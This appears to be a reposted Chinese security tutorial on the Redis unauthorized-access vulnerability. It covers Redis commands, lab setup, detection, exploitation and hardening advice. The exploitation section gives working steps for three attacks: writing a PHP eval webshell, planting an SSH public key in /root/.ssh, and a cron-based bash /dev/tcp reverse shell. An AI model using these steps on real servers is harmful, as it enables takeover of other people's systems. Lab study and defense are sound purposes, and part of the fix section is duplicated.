redis未授权漏洞介绍和复现
Posted 火星上烤鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了redis未授权漏洞介绍和复现相关的知识,希望对你有一定的参考价值。
文章目录
漏洞名称
漏洞描述Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。简单说,
漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
影响版本
Redis 数据库
port:6379
redis漏洞危害
(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
Redis 基本语法
Redis 配置
Redis 的配置文件位于 Redis 安装目录下,文件名为 redis.conf(Windows 名为redis.windows.conf)。你可以通过 CONFIG命令查看或设置配置项。
Redis CONFIG 查看配置命令格式如下:
redis 127.0.0.1:6379> CONFIG GET CONFIG_SETTING_NAME
使用 *****号获取所有配置项:
redis 127.0.0.1:6379> CONFIG GET *
1) "dbfilename"
2) "dump.rdb"
.....
编辑配置
你可以通过修改 redis.conf 文件或使用 CONFIG set命令来修改配置。
CONFIG SET命令基本语法:
redis 127.0.0.1:6379> CONFIG SET CONFIG_SETTING_NAME NEW_CONFIG_VALUE
实例
127.0.0.1:6379> CONFIG set loglevel "notice"
OK
127.0.0.1:6379> CONFIG get loglevel
1) "loglevel"
2) "notice"
127.0.0.1:6379> CONFIG get timeout
1) "timeout"
2) "0"
127.0.0.1:6379> CONFIG set timeout 300
OK
127.0.0.1:6379> CONFIG get timeout
1) "timeout"
2) "300"
参数说明
几个redis.conf 配置项说明如下:
配置项 | 说明 |
---|---|
port 6379 | 指定 Redis 监听端口,默认端口为 6379 |
bind 127.0.0.1 | 绑定的主机地址 |
timeout 300 | 当客户端闲置多长秒后关闭连接,如果指定为 0 ,表示关闭该功能 |
databases 16 | 设置数据库的数量,默认数据库为0,可以使用 SELECT 命令在连接上指定数据库id |
save <seconds> <changes> | 指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合 |
dbfilename dump.rdb | 指定本地数据库文件名,默认值为 dump.rdb |
dir ./ | 指定本地数据库存放目录 |
Redis 命令
Redis 命令用于在 redis 服务上执行操作。要在 redis 服务上执行命令需要一个 redis 客户端。Redis 客户端在我们之前下载的的 redis 的安装包中。
Redis 客户端的基本语法为:
$ redis-cli
以下实例讲解了如何启动 redis 客户端:
启动 redis 客户端,打开终端并输入命令 redis-cli。该命令会连接本地的 redis 服务。
$ redis-cli
redis 127.0.0.1:6379> PING
PONG
连接到本地的 redis 服务并执行 PING命令,该命令用于检测 redis 服务是否启动,如果服务器运作正常的话,会返回一个 PONG 。
在远程服务上执行命令
如果需要在远程 redis 服务上执行命令,同样我们使用的也是 redis-cli命令。
语法
$ redis-cli -h host -p port -a password
以下实例演示了如何连接到主机为 127.0.0.1,端口为 6379 ,密码为 mypass 的 redis 服务上。
[root@localhost bin]# red
red rediff redis-cli redis-server
[root@localhost bin]# redis-cli -h 127.0.0.1 -p 6379 -a "123456"
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
127.0.0.1:6379> ping
PONG
SET 命令
Redis SET 命令用于设置给定 key 的值。如果 key 已经存储其他值, SET 就覆写旧值,且无视类型。
redis SET 命令基本语法如下:
redis 127.0.0.1:6379> SET KEY_NAME VALUE
Get 命令
Redis Get 命令用于获取指定 key 的值。如果 key 不存在,返回 nil 。
redis Get 命令基本语法如下:
redis 127.0.0.1:6379> GET KEY_NAME
Flushall 命令
Redis Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。
redis Flushall 命令基本语法如下:
redis 127.0.0.1:6379> FLUSHALL
Redis 数据备份与恢复
Redis SAVE命令用于创建当前数据库的备份。Save 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以默认 RDB 文件的形式保存到硬盘。
redis Save 命令基本语法如下:
redis 127.0.0.1:6379> SAVE OK
该命令将在 redis 安装目录中创建dump.rdb文件。
恢复数据
如果需要恢复数据,只需将备份文件 (dump.rdb) 移动到 redis 安装目录并启动服务即可。获取 redis 目录可以使用 CONFIG命令,如下所示:
127.0.0.1:6379> config get dir
1) "dir"
2) "/var/spool/cron"
以上命令 CONFIG GET dir输出的 redis 目录为/var/spool/cron。
Redis 安全
我们可以通过 redis 的配置文件设置密码参数,这样客户端连接到 redis 服务就需要密码验证,这样可以让你的 redis 服务更安全。
我们可以通过以下命令查看是否设置了密码验证:
127.0.0.1:6379> CONFIG get requirepass
默认情况下 requirepass 参数是空的,也就是说默认情况下是无密码验证的,这就意味着你无需通过密码验证就可以连接到 redis 服务。
你可以通过以下命令来修改该参数:
127.0.0.1:6379> CONFIG set requirepass "657260"
OK
127.0.0.1:6379> CONFIG get requirepass
设置密码后,客户端连接 redis 服务就需要密码验证,否则无法执行命令。
语法
AUTH命令基本语法格式如下:
127.0.0.1:6379> AUTH password #该命令用于检测给定的密码和配置文件中的密码是否相符。
redis Auth 命令基本语法如下:
redis 127.0.0.1:6379> AUTH PASSWORD #密码匹配时返回 OK ,否则返回一个错误。
实例
127.0.0.1:6379> auth 123456
OK
127.0.0.1:6379> set mykey "test"
OK
127.0.0.1:6379> get mykey
"test"
实验环境及准备
第一步 下载压缩包
wget http://download.redis.io/releases/redis-5.0.12.tar.gz
第二步 解压安装
tar -zxvf redis-5.0.12.tar.gz 解压
cd redis-5.0.12/ #进入redis目录
make 编译
如下图提示 “It’s a good idea to run ‘make test’ “ 则代表编译安装成功
第三步 配置redis
cd src
cp redius-cli /usr/bin
cp redis-server /usr/bin
cd ..
cp redis.conf /etc/
第四步 使用/etc目录下的reids.conf文件中的配置启动redis服务
redis-server /etc/redis.conf
漏洞检测
Nmap -A -p 6379 --script redis-info 192.168.2332.100
./redis-cli -h 192.168.232.200
Info #获取版本、系统、路径
keys *
get user
get password
方法二:通过脚本批量检测漏洞脚本:https://github.com/code-scan/rescan。
漏洞复现
方法一绝对路径写webshell
我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:
redis-cli -h 192.168.232.200
config set dir /var/www/html/ # 设置备份文件路径
config set dbfilename redis.php # 设置备份文件名
set webshell "\\n\\n\\n<?php @eval($_POST['shell']);?>\\n\\n\\n" # 向数据库插入payload
save # 保存数据库到备份文件
技巧:
写入webshell:
set x "\\r\\n\\r\\n<?php eval($_POST[whoami]);?>\\r\\n\\r\\n"
(\\r\\n\\r\\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行,查看/var/www/html/目录下的shell.php文件内容,确认是否写入成功)
数据库过大时:
<?php
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST[\\"bmjoker\\"]);?>');
exit();
?>
方法二:公私钥认证获取root权限
利用条件:
- 服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证。
- 服务端存在.ssh目录并且有写入的权限
原理:
- 数据库中插入一条数据,将本机的公钥作为value,key值随意,
- 通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,
- 可以在服务器端的/root/.ssh下生成一个授权的key。
第一步 ssh免密码配置
ssh-keygen -t rsa #生成公钥key
cd /root/.ssh/
cat /root/.ssh/id_rsa.pub
(echo -e "\\n\\n"; cat /root/.ssh/id_rsa.pub; echo -e "\\n\\n") > /root/.ssh/key.txt
# 将公钥导入key.txt文件(前后用\\n换行,避免和Redis里其他缓存数据混合)
cat /root/.ssh/key.txt | redis-cli -h 192.168.232.200 -x set test
#读取key.txt文件内容写入服务端Redis的缓冲里
# -x 代表从标准输入读取数据作为该命令的最后一个参数。
第二步 连接 Redis 写入文件
redis-cli -h 192.168.232.200
keys * 查看密钥信息
get test
config get dir
config set dir /root/.ssh/ #报错error) ERR Changing directory: No such file or directory,需要在/etc下新建.ssh目录
config set dbfilename "authorized_keys"
save
第三步 通过私钥登录ssh 192.268.232.200
方法三 利用利用contrab计划任务反弹shell
set x "\\n* * * * * bash -i >& /dev/tcp/192.168.232.225/888 0>&1\\n"
config set dir /var/spool/cron/
# centos的路径
#debian的路径 /var/spool/cron/crontabs
# ubuntu的路径/var/spool/cronconfig
config set dbfilename root
save
修复建议
-
1、比较安全的办法是采用绑定IP的方式来进行控制。请在redis.conf文件找到如下配置
# If you want you can bind a single interface, if the bind option is not # specified all the interfaces will listen for incoming connections. # bind 127.0.0.1
#bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。
-
2、设置密码,以提供远程登陆打开redis.conf配置文件,找到requirepass,然后修改如下:
requirepass yourpassword yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。 命令如下: redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器 keys * //输出服务器中的所有key 报错如下 (error) ERR operation not permitted 这时候你可以用授权命令进行授权,就不报错了 命令如下: auth youpassword
-
3、在需要对外开放的时候修改默认端口(端口不重复就可以)port 2344
-
4、以低权限运行 Redis 服务(重启redis才能生效)>>为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
-
5、最后还可以配合iptables限制开放6、清理系统中存在的后门木马。
quirepass,然后修改如下:
requirepass yourpassword
yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。
命令如下:
redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器
keys * //输出服务器中的所有key
报错如下
(error) ERR operation not permitted
这时候你可以用授权命令进行授权,就不报错了
命令如下:
auth youpassword
-
3、在需要对外开放的时候修改默认端口(端口不重复就可以)port 2344
-
4、以低权限运行 Redis 服务(重启redis才能生效)>>为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
-
5、最后还可以配合iptables限制开放6、清理系统中存在的后门木马。
以上是关于redis未授权漏洞介绍和复现的主要内容,如果未能解决你的问题,请参考以下文章